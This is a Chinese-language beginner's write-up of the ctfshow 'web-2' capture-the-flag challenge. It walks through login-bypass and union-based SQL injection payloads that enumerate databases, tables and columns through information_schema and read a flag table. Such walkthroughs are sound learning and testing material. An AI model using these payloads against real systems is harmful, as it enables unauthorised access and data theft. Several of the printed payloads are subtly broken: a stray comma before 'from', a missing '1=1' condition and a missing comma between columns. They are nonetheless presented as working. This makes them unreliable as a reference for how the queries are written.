ctfshow web-2(sql注入)

原题:ctf.show

ctfshow web-2(sql注入)_第1张图片

因为本人也是刚学sql注入,所以会尽可能的写的详细一点-------------------------------------------------

     1.判断是否可以进行sql注入 

                关于进行sql注入的方法有三种。第一种:整型注入,单引号字符型注入,双引号字符型注入。我们首先使用万能账密的方式来一个一个试属于那种注入。

                关于万能账密,不是一个真实的账密,而是给出一个100%正确的账密,通过服务器验证。比如admin or 1=1#           123。其中admin是正确的,1又是等于1的,#是注释后面内容的意思。所以账号肯定是正确的,密码被注释了所以我们任意输入就可以。

                在尝试之后,发现该网站属于单引号字符型注入

ctfshow web-2(sql注入)_第2张图片

ctfshow web-2(sql注入)_第3张图片

此时出现了欢迎你的界面,待变该网站可以进行sql注入。

2.进行sql注入来获取flag 

        sql注入的攻击顺序为:获取库名,获取表名,获取列名,获取数据(sql)

        本次使用的是联合注入的注入方式。

        第一步:获取查询的列数和注入点。

                ctfshow web-2(sql注入)_第4张图片

ctfshow web-2(sql注入)_第5张图片

这里完整的代码是这样的:admin' or 1=1 union select 1,2,3#

从这里我们知道该数据库有三列,并且注入点是第二列。

那我们直接抓这个数据库的库名

    输入admin' or 1=1 union select 1,database(),3#

ctfshow web-2(sql注入)_第6张图片

当然我们也可以查询所有数据库的库名

        输入admin' or 1=1 union select 1,group_concat(schema_name),3,from information_schema.schemata#

        ctfshow web-2(sql注入)_第7张图片 

在这里稍微解释一下一些给单词的含义。union是联合查询注入必备的单词,就相当于它把两个sql语句拼接了起来(因为正常只能执行一个语句) ,schema_name是查询所有数据库的库名,group_concat是将查询的数据都列出来(没有的话只会出来一个)from information_schema.schemata 是从information_schema.schemata表单中获取。这个表单储存了所有的库名,表名,列名。

说回正题哈。获得了库名之后就要获得表名。

        那么我们输入admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'

ctfshow web-2(sql注入)_第8张图片

 成功看到了web2库下的两个表名flag和user。那下面说一下上面一串代码一些陌生词的意思

        table_name是查询表名需要的命令和schema_name查询库名的用法相同。tables是从information_schema库的tables表中获取,后面的where table_schema='web2'是table表中获取web2的表的内容。

获得表后我们就要获得列

        输入:admin' or union select 1,group_concat(column_name),3 from information_schema.columns  where table_schema='web2' and table_name='flag'#

ctfshow web-2(sql注入)_第9张图片

可以看到flag表中有一个flag列。在上面的代码中 column_name就是查询列名的意思

最后一步就是对flag列进行抓取了

输入admin' or 1=1 union select 1,flag 3 from flag#

从flag列中读取flagd1数据。

ctfshow web-2(sql注入)_第10张图片

得到flag 。

        

你可能感兴趣的:(学习,sql,数据库)